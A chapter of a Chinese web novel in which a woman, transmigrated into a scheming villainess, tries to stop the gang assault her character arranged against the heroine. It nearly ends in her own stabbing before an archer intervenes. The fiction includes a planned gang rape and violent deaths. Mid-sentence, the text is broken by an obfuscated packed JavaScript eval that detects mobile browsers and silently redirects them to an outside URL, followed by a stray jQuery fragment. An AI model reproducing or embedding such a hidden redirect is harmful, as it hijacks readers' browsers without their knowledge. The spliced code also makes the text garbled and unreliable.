“姑娘,按您吩咐的,奴婢以太子殿下的名义给那位捎了封信。果不其然,那位是个蠢的,信了。”
“看时辰差不多也要到地方了,姑娘您看……咱们什么时候动身?”
铜镜里映出小丫鬟得意的笑脸,姜令禾握着玉梳的手骤然收紧。
她凝眉打断丫鬟的激情演讲,道:“你说什么?什么好戏马上看不见了?”
“谢姝啊!为了彻底解决这个贱人,奴婢特意多找了十个无赖地痞!”
小丫鬟眼中闪烁着难以掩饰的兴奋,继续道:“奴婢已经安排好了,先将她引到那个破屋里。到时候,十个人轮流上阵,生米煮成熟饭,看这个狐媚子还怎么勾引太子殿下!”
姜令禾被她第一句话震的目瞪口呆,手上玉梳‘啪嚓’摔碎在地。
她颤着音问:"现在什么时辰?"
"回姑娘,刚过未时。"
弥夏不解地看着满地碎玉,"姑娘不是说要等谢姝被糟践透了再去捉奸?"
完蛋了!
她真的穿书了,
还穿到了恶毒女配被奸、杀分尸的前两个时辰!
完蛋了……完蛋了!
她记得在狗血原著的前期里,这个女配可是将“作死”二字演绎得淋漓尽致。
她的每一次行动,都是在九族消消乐的边缘疯狂试探。
就因为不满女主义兄迎娶自己,没让她嫁到想嫁的人。所以恨屋及乌,在自己大婚前一天设计女主,想用腌臜手段毁了女主。
当然……女配没成功。
最后关头,
男配及时赶到,不仅救了女主,还让女配自食恶果。最终落了个惨死破屋,无人收尸的下场。
至此,一代恶毒女配……殒。
代入到自己马上要被分尸的画面,姜令禾吓得冷汗直流,她一把抓住弥夏的手,催促道:
“弥夏!快备车,我要去见谢姝。在多派几个人去找那几个地痞,就说计划终止,不用让他们还定金,叫他们快点离开那里!”
“姑娘?”
弥夏被推的往后挪了几步,而后她面露难色,‘扑通’一下在跪在姜令禾脚边。
弥夏声音颤抖:“奴……奴婢该死,为了不被人发现,奴婢走的匆忙并未记住那些地痞的脸。”
‘轰隆——’
姜令禾瞬间感觉有什么东西在她脑子里炸开。
冷汗迅速浸透中衣,半晌她才缓过神,
"备车!要最快的马!"
声音几乎是从牙缝里挤出来的,带着一丝难以掩饰的颤抖。
弥夏被拉起来,抬头见姜令禾神色不对,吓得连忙点头,急忙跑出去备车。
等马车备好后,姜令禾一把扯过弥夏手里拿的披风,快速冲上了车,
不待身后人跟上,她便连声催促车夫快马加鞭。
现在她只要一闲下来,脑海中就会不断回放着原著中女配的悲惨结局,这些画面像是一条绳索,勒得她几乎喘不过气来。
*
愁云惨雾,天地昏沉,带着丝丝冷气,姜令禾一路颠簸,硬生生将原先半个时辰的路程缩短至了一刻钟到达。
连马杌都等不及放下,提着裙摆便跳了下去。
映入眼帘是一片荒山,半山腰处正伫立着一个破屋。
姜令禾擦了把冷汗,三步并作两步地往上山的小道上跑。
等到她气喘吁吁地跑到破屋前,一颗心都要跳到嗓子眼了。
眼前破屋残破的朱漆门扉半掩,姜令禾推门进去时,正撞见谢姝转身。
腐朽的气息伴随着女子甜甜的说话声飘到面前。
“霁哥哥!”
正中央站着的粉衣女子一脸娇羞,她视线慢慢上移,待看清是谁站在门前时,小脸一下便垮了下来。
谢姝不耐的问:“你怎么在这儿!”她凤眼圆睁,腰间缀着的香球被晃的叮当作响,"你居然还跟踪我?"
秋日浅金的阳光从屋顶破洞漏下来,照她鸦青色发髻上。
谢姝长的很美,区别于娇柔一类,她五官精致不失棱角,眉如远山,眼似寒星。带着种与生俱来的冷峻气质,举手投足间还有一股不容忽视的气场。
然而,与外表不同,谢姝性格偏偏娇气,满脑子情爱,动不动就为此痛哭,情绪波动极大。
姜令禾跨进破屋,
打量她衣着完好,一颗紧张的心稍微定了定。
还好来得及。
忽略谢姝的问话,她一把拉过谢姝的胳膊,急道:“跟我走。”
“姜令禾,你又想耍什么花招?”
谢姝用力甩开她的手,指着她的鼻子冷声道:“我告诉你,霁哥哥已经答应娶我了,你别再痴心妄想!”
虽然在原著中略有耳闻谢姝的天真,如今真让她遇见了,一时还有点接不上话。
她只能在心中呐喊:都是你的!没人和你抢!!
时间紧迫,姜令禾心中焦急,顾不上解释太多,只能继续去拉谢姝:“谢姝,这里很危险,我们必须马上离开!”
“危险?”谢姝觉得好笑:“姜令禾,这里最大的危险是你吧!”
像找到了发泄口,谢姝又絮絮叨叨的说了一大堆关于两人间的不对付。
姜令禾看着面前少女的话像开闸了般停不下来,
她再也等不了了,既然软的不行,那就只能来硬的。
猛地抓住谢姝的手腕,姜令禾将她用力往外拖,
“谢姝,我为我以前对你做的事道歉,咱们的恩怨容后再说,现在咱们再不走,真的会出事的!”
“姜令禾!”
谢姝被拽的踉跄了几步,心中又惊又怒,连连挣扎,“放开我!你究竟要做什么!”
正当两人僵持不下时,
破屋外已然传来一阵杂乱的脚步声,伴随着粗鄙的笑声和污言秽语。
姜令禾脸色骤变,她猛地松开谢姝的手,目光凌厉地看向门口。
果然,担心的还是来了。
迎面几个衣衫褴褛、满脸猥琐的地痞正朝破屋走来,眼中闪烁着贪婪与恶意。
谢姝也看见了走来的一群人,她再傻也察觉到了不对劲。
她不可置信的盯着姜令禾,怒道:“姜令禾,你……你怎么敢这么做,你跟他们狼狈为奸!国公府不会放过你的!”
谢姝说完怕极了,她为了见霁哥哥,是自己偷跑出来的,只有一个车夫远在山脚下等她。
要是……要是真的……
姜令禾没有解释,而是迅速环顾四周,寻找可以逃脱的路线。
然而,破屋四周除了正门,只有一扇破旧的窗户,外面是陡峭的山坡,根本无处可逃。
她咬了咬牙,回头对谢姝说道:“待会儿我拖住他们,你找机会从窗户跳出去,往山下跑,别回头!”
因为深知小白花女主的性格,善良的过头。
所以只要她见到男配,就算她们从前有恩怨,念及救命之恩,她也绝不会袖手旁观。
况且,这麻烦本就是原主自己惹出来的,即便拉上谢姝垫背,侥幸活下来,日后也难免与国公府结下深仇。
以原主父亲那攀附权贵的作风,定不会为她得罪国公府府,届时她还是要任人宰割。
与其如此,不如现在赌一把大的。
谢姝听完愣住了,显然没想到姜令禾如此恶毒的人会说出这样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294500|167084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的话。
她张了张嘴,似乎想说些什么,但那些地痞已经逼近了门口,根本没有时间再犹豫。
“哟,没想到还有两个小美人儿!”为首的刀疤脸地痞咧嘴,“兄弟们,今天算是走运了!”
姜令禾深吸一口气,竭力压下心中的慌乱。
她不能在谢姝面前暴露这些人是自己引来的,即便说出口,这群地痞也未必会信。
强作镇定姜令禾厉声喝道:“你们可知我们是谁?敢动我们,就不怕死无葬身之地吗?”
地痞们闻言,动作一滞,脸上闪过一丝犹豫。
然而,刀疤脸率先不屑,他猥琐地笑道:“小美人儿,别吓唬我们了。就算死,能做个风流鬼也不错,说不定还能和你们上演一段人鬼情未了呢~”
姜令禾反手将谢姝护在身后,抄起木棍横在身前,喝道:“谢姝,快走!”
谢姝踉跄着往后退了两步,随后直起身子往窗口跑去。
“想跑?没那么容易!”
一个地痞就要上前去抓谢姝,被姜令禾用木棍狠狠截住。
“臭娘们!”
地痞转身,一记耳光裹着腥风袭来,狠狠落在姜令禾脸上,抽得她头晕目眩。
“还不快追!让她跑了你们一个都活不了!”
为首的刀疤脸泄愤似的狠狠将姜令禾踹倒,
姜令禾应声倒地,她咬紧牙关,一声不吭。
待人差不多都去追谢姝,为首的地痞挥手将剩余地痞赶出破屋。
关门的那一刹,
刀疤脸什么都没干,而是狞笑着逼近。他缓缓走至姜令禾面前,从怀中摸出一把匕首道:“姜小姐,今天就算不是我来,你也活不了。”
寒光乍现的匕首出现在她眼前:"有人要买姜小姐的命呢。"
骤然听到这模棱两可的话语,姜令禾的脑中一片空白。
怎么恶毒女配的标配就是仇家多吗?
女主宝宝啊!能不能快点啊!
送她来的系统还没上线,她还不想死啊!!!
最终她想拖延时间,问了每个要被撕票的人都会问出的话:“是谁指使你们的?”
刀疤脸嗤笑一声,手中的小刀在她脸上轻轻划过:“知道那么多做什么?安心上路吧。”
话音未落,地痞猛地举起小刀,朝姜令禾的胸口刺去。
刀尖刚刺破她胸前衣襟。
一破空之声骤起。
一支箭矢破空而出,那箭镞红光瞬间穿透了地痞的咽喉,箭尖直逼姜令禾眉间。
鲜血喷涌在她身上,匕首当啷落地,面前人双目圆睁,无力倒下。
“真热闹。”
一道温和的男声响起。
箭翎洞过咽喉的刹那,破屋的大门不知何时大开,谢浔手持一张长弓,朱红箭衣飘逸。
姜令禾看见来人正倚在门框上抚弄弓弦,笑意温润如三月春水:"六姑娘真是好兴致,邀舍妹来此看戏?"
绕过门外满地尸首,他踩着血泊踱步而来,站定在她面前。
“姜六姑娘?怎么还不起来,某还以为某箭术不精,伤到姑娘了。”
姜令禾抬眸,眼前青年神色从容,完全没看见她满身血色般,仍含笑注视着她
抬手抹去脸上溅落的血迹,姜令禾不断宽慰自己能够活下来已经够好了,
却仍止不住颤抖,最后勉强支撑着身子站了起来。
谢浔目光温和,他轻轻拍了拍箭袖上的灰尘,语气轻松,似是随口一问:“姜六姑娘为何假借太子名义约令妹来这种地方。”
“这是……对某这桩婚事不满?”
还是对太子殿下仍念念不忘?”